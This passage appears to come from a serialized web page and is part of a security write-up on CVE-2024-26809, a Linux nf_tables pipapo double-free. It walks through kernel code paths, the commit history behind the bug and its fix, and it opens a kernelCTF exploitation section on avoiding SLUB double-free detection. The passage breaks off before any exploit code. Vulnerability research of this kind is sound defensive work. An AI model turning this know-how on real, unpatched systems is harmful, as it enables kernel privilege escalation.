method.",{"type":23,"tag":87,"props":52703,"children":52705},{"className":15985,"code":52704,"language":315,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[52706],{"type":23,"tag":92,"props":52707,"children":52708},{"__ignoreMap":7},[52709,52748,52755,52762,52783,52790,52797,52804,52845,52852,52859,52880,52893,52905,52912,52919,52926,52967,52974,53002,53009,53022,53034,53075,53082,53089,53096,53154,53161,53168,53197,53204],{"type":23,"tag":134,"props":52710,"children":52711},{"class":136,"line":137},[52712,52716,52720,52724,52728,52732,52736,52740,52744],{"type":23,"tag":134,"props":52713,"children":52714},{"style":151},[52715],{"type":28,"value":50550},{"type":23,"tag":134,"props":52717,"children":52718},{"style":151},[52719],{"type":28,"value":50555},{"type":23,"tag":134,"props":52721,"children":52722},{"style":264},[52723],{"type":28,"value":52352},{"type":23,"tag":134,"props":52725,"children":52726},{"style":179},[52727],{"type":28,"value":272},{"type":23,"tag":134,"props":52729,"children":52730},{"style":151},[52731],{"type":28,"value":8864},{"type":23,"tag":134,"props":52733,"children":52734},{"style":179},[52735],{"type":28,"value":51508},{"type":23,"tag":134,"props":52737,"children":52738},{"style":168},[52739],{"type":28,"value":1777},{"type":23,"tag":134,"props":52741,"children":52742},{"style":162},[52743],{"type":28,"value":51517},{"type":23,"tag":134,"props":52745,"children":52746},{"style":179},[52747],{"type":28,"value":329},{"type":23,"tag":134,"props":52749,"children":52750},{"class":136,"line":147},[52751],{"type":23,"tag":134,"props":52752,"children":52753},{"style":179},[52754],{"type":28,"value":10346},{"type":23,"tag":134,"props":52756,"children":52757},{"class":136,"line":185},[52758],{"type":23,"tag":134,"props":52759,"children":52760},{"style":179},[52761],{"type":28,"value":9783},{"type":23,"tag":134,"props":52763,"children":52764},{"class":136,"line":221},[52765,52770,52774,52778],{"type":23,"tag":134,"props":52766,"children":52767},{"style":264},[52768],{"type":28,"value":52769}," schedule_work",{"type":23,"tag":134,"props":52771,"children":52772},{"style":179},[52773],{"type":28,"value":272},{"type":23,"tag":134,"props":52775,"children":52776},{"style":168},[52777],{"type":28,"value":277},{"type":23,"tag":134,"props":52779,"children":52780},{"style":179},[52781],{"type":28,"value":52782},"trans_destroy_work);\n",{"type":23,"tag":134,"props":52784,"children":52785},{"class":136,"line":332},[52786],{"type":23,"tag":134,"props":52787,"children":52788},{"style":179},[52789],{"type":28,"value":9783},{"type":23,"tag":134,"props":52791,"children":52792},{"class":136,"line":438},[52793],{"type":23,"tag":134,"props":52794,"children":52795},{"style":179},[52796],{"type":28,"value":1098},{"type":23,"tag":134,"props":52798,"children":52799},{"class":136,"line":466},[52800],{"type":23,"tag":134,"props":52801,"children":52802},{"style":179},[52803],{"type":28,"value":9783},{"type":23,"tag":134,"props":52805,"children":52806},{"class":136,"line":479},[52807,52811,52815,52820,52824,52828,52833,52837,52841],{"type":23,"tag":134,"props":52808,"children":52809},{"style":151},[52810],{"type":28,"value":50550},{"type":23,"tag":134,"props":52812,"children":52813},{"style":151},[52814],{"type":28,"value":50555},{"type":23,"tag":134,"props":52816,"children":52817},{"style":264},[52818],{"type":28,"value":52819}," nf_tables_trans_destroy_work",{"type":23,"tag":134,"props":52821,"children":52822},{"style":179},[52823],{"type":28,"value":272},{"type":23,"tag":134,"props":52825,"children":52826},{"style":151},[52827],{"type":28,"value":8864},{"type":23,"tag":134,"props":52829,"children":52830},{"style":179},[52831],{"type":28,"value":52832}," work_struct ",{"type":23,"tag":134,"props":52834,"children":52835},{"style":168},[52836],{"type":28,"value":1777},{"type":23,"tag":134,"props":52838,"children":52839},{"style":162},[52840],{"type":28,"value":49077},{"type":23,"tag":134,"props":52842,"children":52843},{"style":179},[52844],{"type":28,"value":329},{"type":23,"tag":134,"props":52846,"children":52847},{"class":136,"line":497},[52848],{"type":23,"tag":134,"props":52849,"children":52850},{"style":179},[52851],{"type":28,"value":10346},{"type":23,"tag":134,"props":52853,"children":52854},{"class":136,"line":518},[52855],{"type":23,"tag":134,"props":52856,"children":52857},{"style":179},[52858],{"type":28,"value":9783},{"type":23,"tag":134,"props":52860,"children":52861},{"class":136,"line":527},[52862,52866,52871,52875],{"type":23,"tag":134,"props":52863,"children":52864},{"style":264},[52865],{"type":28,"value":52504},{"type":23,"tag":134,"props":52867,"children":52868},{"style":179},[52869],{"type":28,"value":52870},"(trans, next, ",{"type":23,"tag":134,"props":52872,"children":52873},{"style":168},[52874],{"type":28,"value":277},{"type":23,"tag":134,"props":52876,"children":52877},{"style":179},[52878],{"type":28,"value":52879},"head, list) {\n",{"type":23,"tag":134,"props":52881,"children":52882},{"class":136,"line":780},[52883,52888],{"type":23,"tag":134,"props":52884,"children":52885},{"style":264},[52886],{"type":28,"value":52887},"  nft_trans_list_del",{"type":23,"tag":134,"props":52889,"children":52890},{"style":179},[52891],{"type":28,"value":52892},"(trans);\n",{"type":23,"tag":134,"props":52894,"children":52895},{"class":136,"line":797},[52896,52901],{"type":23,"tag":134,"props":52897,"children":52898},{"style":264},[52899],{"type":28,"value":52900},"  nft_commit_release",{"type":23,"tag":134,"props":52902,"children":52903},{"style":179},[52904],{"type":28,"value":52892},{"type":23,"tag":134,"props":52906,"children":52907},{"class":136,"line":814},[52908],{"type":23,"tag":134,"props":52909,"children":52910},{"style":179},[52911],{"type":28,"value":9059},{"type":23,"tag":134,"props":52913,"children":52914},{"class":136,"line":827},[52915],{"type":23,"tag":134,"props":52916,"children":52917},{"style":179},[52918],{"type":28,"value":1098},{"type":23,"tag":134,"props":52920,"children":52921},{"class":136,"line":836},[52922],{"type":23,"tag":134,"props":52923,"children":52924},{"style":179},[52925],{"type":28,"value":9783},{"type":23,"tag":134,"props":52927,"children":52928},{"class":136,"line":859},[52929,52933,52937,52942,52946,52950,52955,52959,52963],{"type":23,"tag":134,"props":52930,"children":52931},{"style":151},[52932],{"type":28,"value":50550},{"type":23,"tag":134,"props":52934,"children":52935},{"style":151},[52936],{"type":28,"value":50555},{"type":23,"tag":134,"props":52938,"children":52939},{"style":264},[52940],{"type":28,"value":52941}," nft_commit_release",{"type":23,"tag":134,"props":52943,"children":52944},{"style":179},[52945],{"type":28,"value":272},{"type":23,"tag":134,"props":52947,"children":52948},{"style":151},[52949],{"type":28,"value":8864},{"type":23,"tag":134,"props":52951,"children":52952},{"style":179},[52953],{"type":28,"value":52954}," nft_trans ",{"type":23,"tag":134,"props":52956,"children":52957},{"style":168},[52958],{"type":28,"value":1777},{"type":23,"tag":134,"props":52960,"children":52961},{"style":162},[52962],{"type":28,"value":52067},{"type":23,"tag":134,"props":52964,"children":52965},{"style":179},[52966],{"type":28,"value":329},{"type":23,"tag":134,"props":52968,"children":52969},{"class":136,"line":868},[52970],{"type":23,"tag":134,"props":52971,"children":52972},{"style":179},[52973],{"type":28,"value":10346},{"type":23,"tag":134,"props":52975,"children":52976},{"class":136,"line":877},[52977,52982,52986,52990,52994,52998],{"type":23,"tag":134,"props":52978,"children":52979},{"style":189},[52980],{"type":28,"value":52981}," switch",{"type":23,"tag":134,"props":52983,"children":52984},{"style":179},[52985],{"type":28,"value":232},{"type":23,"tag":134,"props":52987,"children":52988},{"style":162},[52989],{"type":28,"value":52067},{"type":23,"tag":134,"props":52991,"children":52992},{"style":179},[52993],{"type":28,"value":13225},{"type":23,"tag":134,"props":52995,"children":52996},{"style":162},[52997],{"type":28,"value":52105},{"type":23,"tag":134,"props":52999,"children":53000},{"style":179},[53001],{"type":28,"value":14272},{"type":23,"tag":134,"props":53003,"children":53004},{"class":136,"line":946},[53005],{"type":23,"tag":134,"props":53006,"children":53007},{"style":179},[53008],{"type":28,"value":9783},{"type":23,"tag":134,"props":53010,"children":53011},{"class":136,"line":954},[53012,53017],{"type":23,"tag":134,"props":53013,"children":53014},{"style":189},[53015],{"type":28,"value":53016}," case",{"type":23,"tag":134,"props":53018,"children":53019},{"style":179},[53020],{"type":28,"value":53021}," NFT_MSG_DELSET:\n",{"type":23,"tag":134,"props":53023,"children":53024},{"class":136,"line":984},[53025,53029],{"type":23,"tag":134,"props":53026,"children":53027},{"style":189},[53028],{"type":28,"value":53016},{"type":23,"tag":134,"props":53030,"children":53031},{"style":179},[53032],{"type":28,"value":53033}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":134,"props":53035,"children":53036},{"class":136,"line":992},[53037,53042,53046,53050,53054,53058,53062,53066,53070],{"type":23,"tag":134,"props":53038,"children":53039},{"style":264},[53040],{"type":28,"value":53041},"  nft_set_destroy",{"type":23,"tag":134,"props":53043,"children":53044},{"style":179},[53045],{"type":28,"value":272},{"type":23,"tag":134,"props":53047,"children":53048},{"style":168},[53049],{"type":28,"value":277},{"type":23,"tag":134,"props":53051,"children":53052},{"style":179},[53053],{"type":28,"value":52067},{"type":23,"tag":134,"props":53055,"children":53056},{"style":168},[53057],{"type":28,"value":13225},{"type":23,"tag":134,"props":53059,"children":53060},{"style":162},[53061],{"type":28,"value":19758},{"type":23,"tag":134,"props":53063,"children":53064},{"style":179},[53065],{"type":28,"value":242},{"type":23,"tag":134,"props":53067,"children":53068},{"style":264},[53069],{"type":28,"value":52033},{"type":23,"tag":134,"props":53071,"children":53072},{"style":179},[53073],{"type":28,"value":53074},"(trans));\n",{"type":23,"tag":134,"props":53076,"children":53077},{"class":136,"line":1024},[53078],{"type":23,"tag":134,"props":53079,"children":53080},{"style":179},[53081],{"type":28,"value":9783},{"type":23,"tag":134,"props":53083,"children":53084},{"class":136,"line":1032},[53085],{"type":23,"tag":134,"props":53086,"children":53087},{"style":179},[53088],{"type":28,"value":1098},{"type":23,"tag":134,"props":53090,"children":53091},{"class":136,"line":1092},[53092],{"type":23,"tag":134,"props":53093,"children":53094},{"style":179},[53095],{"type":28,"value":9783},{"type":23,"tag":134,"props":53097,"children":53098},{"class":136,"line":8508},[53099,53103,53107,53112,53116,53120,53124,53128,53132,53137,53141,53145,53149],{"type":23,"tag":134,"props":53100,"children":53101},{"style":151},[53102],{"type":28,"value":50550},{"type":23,"tag":134,"props":53104,"children":53105},{"style":151},[53106],{"type":28,"value":50555},{"type":23,"tag":134,"props":53108,"children":53109},{"style":264},[53110],{"type":28,"value":53111}," nft_set_destroy",{"type":23,"tag":134,"props":53113,"children":53114},{"style":179},[53115],{"type":28,"value":272},{"type":23,"tag":134,"props":53117,"children":53118},{"style":151},[53119],{"type":28,"value":9119},{"type":23,"tag":134,"props":53121,"children":53122},{"style":151},[53123],{"type":28,"value":20629},{"type":23,"tag":134,"props":53125,"children":53126},{"style":179},[53127],{"type":28,"value":50577},{"type":23,"tag":134,"props":53129,"children":53130},{"style":168},[53131],{"type":28,"value":1777},{"type":23,"tag":134,"props":53133,"children":53134},{"style":179},[53135],{"type":28,"value":53136},"ctx, ",{"type":23,"tag":134,"props":53138,"children":53139},{"style":151},[53140],{"type":28,"value":8864},{"type":23,"tag":134,"props":53142,"children":53143},{"style":179},[53144],{"type":28,"value":50605},{"type":23,"tag":134,"props":53146,"children":53147},{"style":168},[53148],{"type":28,"value":1777},{"type":23,"tag":134,"props":53150,"children":53151},{"style":179},[53152],{"type":28,"value":53153},"set)\n",{"type":23,"tag":134,"props":53155,"children":53156},{"class":136,"line":8526},[53157],{"type":23,"tag":134,"props":53158,"children":53159},{"style":179},[53160],{"type":28,"value":10346},{"type":23,"tag":134,"props":53162,"children":53163},{"class":136,"line":8571},[53164],{"type":23,"tag":134,"props":53165,"children":53166},{"style":179},[53167],{"type":28,"value":9783},{"type":23,"tag":134,"props":53169,"children":53170},{"class":136,"line":8677},[53171,53175,53179,53183,53187,53192],{"type":23,"tag":134,"props":53172,"children":53173},{"style":162},[53174],{"type":28,"value":52592},{"type":23,"tag":134,"props":53176,"children":53177},{"style":179},[53178],{"type":28,"value":13225},{"type":23,"tag":134,"props":53180,"children":53181},{"style":162},[53182],{"type":28,"value":52176},{"type":23,"tag":134,"props":53184,"children":53185},{"style":179},[53186],{"type":28,"value":13225},{"type":23,"tag":134,"props":53188,"children":53189},{"style":264},[53190],{"type":28,"value":53191},"destroy",{"type":23,"tag":134,"props":53193,"children":53194},{"style":179},[53195],{"type":28,"value":53196},"(ctx, set);\n",{"type":23,"tag":134,"props":53198,"children":53199},{"class":136,"line":22988},[53200],{"type":23,"tag":134,"props":53201,"children":53202},{"style":179},[53203],{"type":28,"value":9783},{"type":23,"tag":134,"props":53205,"children":53206},{"class":136,"line":23023},[53207],{"type":23,"tag":134,"props":53208,"children":53209},{"style":179},[53210],{"type":28,"value":1098},{"type":23,"tag":24,"props":53212,"children":53213},{},[53214,53216,53221,53223,53228,53230,53236,53238,53243,53245,53250,53252,53256,53258,53263,53264,53268,53270,53276],{"type":28,"value":53215},"It may appear as if it would be impossible to make ",{"type":23,"tag":92,"props":53217,"children":53219},{"className":53218},[],[53220],{"type":28,"value":50479},{"type":28,"value":53222}," true in the release step because the ",{"type":23,"tag":92,"props":53224,"children":53226},{"className":53225},[],[53227],{"type":28,"value":51851},{"type":28,"value":53229}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":92,"props":53231,"children":53233},{"className":53232},[],[53234],{"type":28,"value":53235},"set->dead",{"type":28,"value":53237}," flag. If a ",{"type":23,"tag":92,"props":53239,"children":53241},{"className":53240},[],[53242],{"type":28,"value":50525},{"type":28,"value":53244}," was marked for deletion, it receives the ",{"type":23,"tag":92,"props":53246,"children":53248},{"className":53247},[],[53249],{"type":28,"value":53235},{"type":28,"value":53251}," flag ",{"type":23,"tag":134,"props":53253,"children":53254},{},[53255],{"type":28,"value":291},{"type":28,"value":53257},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":92,"props":53259,"children":53261},{"className":53260},[],[53262],{"type":28,"value":50525},{"type":28,"value":5915},{"type":23,"tag":134,"props":53265,"children":53266},{},[53267],{"type":28,"value":17001},{"type":28,"value":53269},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":92,"props":53271,"children":53273},{"className":53272},[],[53274],{"type":28,"value":53275},"priv ->dirty",{"type":28,"value":53277}," flag is not cleared when it should have been.",{"type":23,"tag":61,"props":53279,"children":53281},{"id":53280},"tracing-the-guilty-commit",[53282],{"type":28,"value":53283},"Tracing the guilty commit",{"type":23,"tag":24,"props":53285,"children":53286},{},[53287,53289,53296,53298,53304,53306,53311,53313,53319],{"type":28,"value":53288},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":31,"props":53290,"children":53293},{"href":53291,"rel":53292},"https://ubuntu.com/security/CVE-2024-26809",[35],[53294],{"type":28,"value":53295},"advisories",{"type":28,"value":53297}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":31,"props":53299,"children":53302},{"href":53300,"rel":53301},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[35],[53303],{"type":28,"value":52185},{"type":28,"value":53305},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":92,"props":53307,"children":53309},{"className":53308},[],[53310],{"type":28,"value":53235},{"type":28,"value":53312}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":31,"props":53314,"children":53317},{"href":53315,"rel":53316},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[35],[53318],{"type":28,"value":52185},{"type":28,"value":720},{"type":23,"tag":24,"props":53321,"children":53322},{},[53323],{"type":28,"value":53324},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":87,"props":53326,"children":53330},{"className":53327,"code":53328,"language":53329,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[53331],{"type":23,"tag":92,"props":53332,"children":53333},{"__ignoreMap":7},[53334,53342,53350,53357,53365,53373,53380,53388,53395,53403,53411,53418,53426,53434,53442,53450,53458,53466,53474,53482,53490,53497,53505,53513,53520,53528,53536,53544,53552,53560,53567,53575,53583],{"type":23,"tag":134,"props":53335,"children":53336},{"class":136,"line":137},[53337],{"type":23,"tag":134,"props":53338,"children":53339},{},[53340],{"type":28,"value":53341},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":134,"props":53343,"children":53344},{"class":136,"line":147},[53345],{"type":23,"tag":134,"props":53346,"children":53347},{},[53348],{"type":28,"value":53349},"transaction is aborted.\n",{"type":23,"tag":134,"props":53351,"children":53352},{"class":136,"line":185},[53353],{"type":23,"tag":134,"props":53354,"children":53355},{"emptyLinePlaceholder":15},[53356],{"type":28,"value":865},{"type":23,"tag":134,"props":53358,"children":53359},{"class":136,"line":221},[53360],{"type":23,"tag":134,"props":53361,"children":53362},{},[53363],{"type":28,"value":53364},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":134,"props":53366,"children":53367},{"class":136,"line":332},[53368],{"type":23,"tag":134,"props":53369,"children":53370},{},[53371],{"type":28,"value":53372},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":134,"props":53374,"children":53375},{"class":136,"line":438},[53376],{"type":23,"tag":134,"props":53377,"children":53378},{},[53379],{"type":28,"value":9783},{"type":23,"tag":134,"props":53381,"children":53382},{"class":136,"line":466},[53383],{"type":23,"tag":134,"props":53384,"children":53385},{},[53386],{"type":28,"value":53387},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":23,"tag":134,"props":53389,"children":53390},{"class":136,"line":479},[53391],{"type":23,"tag":134,"props":53392,"children":53393},{},[53394],{"type":28,"value":9783},{"type":23,"tag":134,"props":53396,"children":53397},{"class":136,"line":497},[53398],{"type":23,"tag":134,"props":53399,"children":53400},{},[53401],{"type":28,"value":53402},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":134,"props":53404,"children":53405},{"class":136,"line":518},[53406],{"type":23,"tag":134,"props":53407,"children":53408},{},[53409],{"type":28,"value":53410},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":134,"props":53412,"children":53413},{"class":136,"line":527},[53414],{"type":23,"tag":134,"props":53415,"children":53416},{},[53417],{"type":28,"value":9783},{"type":23,"tag":134,"props":53419,"children":53420},{"class":136,"line":780},[53421],{"type":23,"tag":134,"props":53422,"children":53423},{},[53424],{"type":28,"value":53425},"[16302.231917] Call Trace:\n",{"type":23,"tag":134,"props":53427,"children":53428},{"class":136,"line":797},[53429],{"type":23,"tag":134,"props":53430,"children":53431},{},[53432],{"type":28,"value":53433},"[16302.231919]  \u003CTASK>\n",{"type":23,"tag":134,"props":53435,"children":53436},{"class":136,"line":814},[53437],{"type":23,"tag":134,"props":53438,"children":53439},{},[53440],{"type":28,"value":53441},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":134,"props":53443,"children":53444},{"class":136,"line":827},[53445],{"type":23,"tag":134,"props":53446,"children":53447},{},[53448],{"type":28,"value":53449},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":134,"props":53451,"children":53452},{"class":136,"line":836},[53453],{"type":23,"tag":134,"props":53454,"children":53455},{},[53456],{"type":28,"value":53457},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":134,"props":53459,"children":53460},{"class":136,"line":859},[53461],{"type":23,"tag":134,"props":53462,"children":53463},{},[53464],{"type":28,"value":53465},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":134,"props":53467,"children":53468},{"class":136,"line":868},[53469],{"type":23,"tag":134,"props":53470,"children":53471},{},[53472],{"type":28,"value":53473},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":134,"props":53475,"children":53476},{"class":136,"line":877},[53477],{"type":23,"tag":134,"props":53478,"children":53479},{},[53480],{"type":28,"value":53481},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":23,"tag":134,"props":53483,"children":53484},{"class":136,"line":946},[53485],{"type":23,"tag":134,"props":53486,"children":53487},{},[53488],{"type":28,"value":53489},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":134,"props":53491,"children":53492},{"class":136,"line":954},[53493],{"type":23,"tag":134,"props":53494,"children":53495},{"emptyLinePlaceholder":15},[53496],{"type":28,"value":865},{"type":23,"tag":134,"props":53498,"children":53499},{"class":136,"line":984},[53500],{"type":23,"tag":134,"props":53501,"children":53502},{},[53503],{"type":28,"value":53504},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":134,"props":53506,"children":53507},{"class":136,"line":992},[53508],{"type":23,"tag":134,"props":53509,"children":53510},{},[53511],{"type":28,"value":53512},"elements in the lookup tables.\n",{"type":23,"tag":134,"props":53514,"children":53515},{"class":136,"line":1024},[53516],{"type":23,"tag":134,"props":53517,"children":53518},{"emptyLinePlaceholder":15},[53519],{"type":28,"value":865},{"type":23,"tag":134,"props":53521,"children":53522},{"class":136,"line":1032},[53523],{"type":23,"tag":134,"props":53524,"children":53525},{},[53526],{"type":28,"value":53527},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":134,"props":53529,"children":53530},{"class":136,"line":1092},[53531],{"type":23,"tag":134,"props":53532,"children":53533},{},[53534],{"type":28,"value":53535},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":134,"props":53537,"children":53538},{"class":136,"line":8508},[53539],{"type":23,"tag":134,"props":53540,"children":53541},{},[53542],{"type":28,"value":53543},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":134,"props":53545,"children":53546},{"class":136,"line":8526},[53547],{"type":23,"tag":134,"props":53548,"children":53549},{},[53550],{"type":28,"value":53551},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":134,"props":53553,"children":53554},{"class":136,"line":8571},[53555],{"type":23,"tag":134,"props":53556,"children":53557},{},[53558],{"type":28,"value":53559},"to it).\"\n",{"type":23,"tag":134,"props":53561,"children":53562},{"class":136,"line":8677},[53563],{"type":23,"tag":134,"props":53564,"children":53565},{"emptyLinePlaceholder":15},[53566],{"type":28,"value":865},{"type":23,"tag":134,"props":53568,"children":53569},{"class":136,"line":22988},[53570],{"type":23,"tag":134,"props":53571,"children":53572},{},[53573],{"type":28,"value":53574},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":134,"props":53576,"children":53577},{"class":136,"line":23023},[53578],{"type":23,"tag":134,"props":53579,"children":53580},{},[53581],{"type":28,"value":53582},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":134,"props":53584,"children":53585},{"class":136,"line":23031},[53586],{"type":23,"tag":134,"props":53587,"children":53588},{},[53589],{"type":28,"value":53590},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":24,"props":53592,"children":53593},{},[53594,53596,53601,53603,53608,53610,53615,53617,53622],{"type":28,"value":53595},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":92,"props":53597,"children":53599},{"className":53598},[],[53600],{"type":28,"value":50525},{"type":28,"value":53602}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":92,"props":53604,"children":53606},{"className":53605},[],[53607],{"type":28,"value":51851},{"type":28,"value":53609}," method by simply replacing the ",{"type":23,"tag":92,"props":53611,"children":53613},{"className":53612},[],[53614],{"type":28,"value":50525},{"type":28,"value":53616},"s match object with its updated clone. So checking the ",{"type":23,"tag":92,"props":53618,"children":53620},{"className":53619},[],[53621],{"type":28,"value":50479},{"type":28,"value":53623}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":24,"props":53625,"children":53626},{},[53627,53629,53634],{"type":28,"value":53628},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":92,"props":53630,"children":53632},{"className":53631},[],[53633],{"type":28,"value":50525},{"type":28,"value":53635},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":24,"props":53637,"children":53638},{},[53639,53641,53647,53649,53654,53656,53661],{"type":28,"value":53640},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":92,"props":53642,"children":53644},{"className":53643},[],[53645],{"type":28,"value":53646},"set->ops->destroy()",{"type":28,"value":53648}," could be called without clearing the ",{"type":23,"tag":92,"props":53650,"children":53652},{"className":53651},[],[53653],{"type":28,"value":50479},{"type":28,"value":53655}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":92,"props":53657,"children":53659},{"className":53658},[],[53660],{"type":28,"value":50517},{"type":28,"value":53662},"s, so they would all be in the clone set.",{"type":23,"tag":24,"props":53664,"children":53665},{},[53666,53668,53673],{"type":28,"value":53667},"But when the ",{"type":23,"tag":92,"props":53669,"children":53671},{"className":53670},[],[53672],{"type":28,"value":53235},{"type":28,"value":53674}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":24,"props":53676,"children":53677},{},[53678],{"type":28,"value":53679},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":61,"props":53681,"children":53683},{"id":53682},"kernelctf-exploit",[53684],{"type":28,"value":53685},"KernelCTF exploit",{"type":23,"tag":24,"props":53687,"children":53688},{},[53689,53691,53697,53699,53706],{"type":28,"value":53690},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":92,"props":53692,"children":53694},{"className":53693},[],[53695],{"type":28,"value":53696},"nft_object + udata",{"type":28,"value":53698}," technique shared by lonial con in a ",{"type":23,"tag":31,"props":53700,"children":53703},{"href":53701,"rel":53702},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[35],[53704],{"type":28,"value":53705},"previous kernelCTF exploit",{"type":28,"value":720},{"type":23,"tag":9072,"props":53708,"children":53710},{"id":53709},"trigger-uafavoid-double-free-detection",[53711],{"type":28,"value":53712},"Trigger UAF/avoid double-free detection",{"type":23,"tag":24,"props":53714,"children":53715},{},[53716,53718,53724,53726,53732],{"type":28,"value":53717},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, 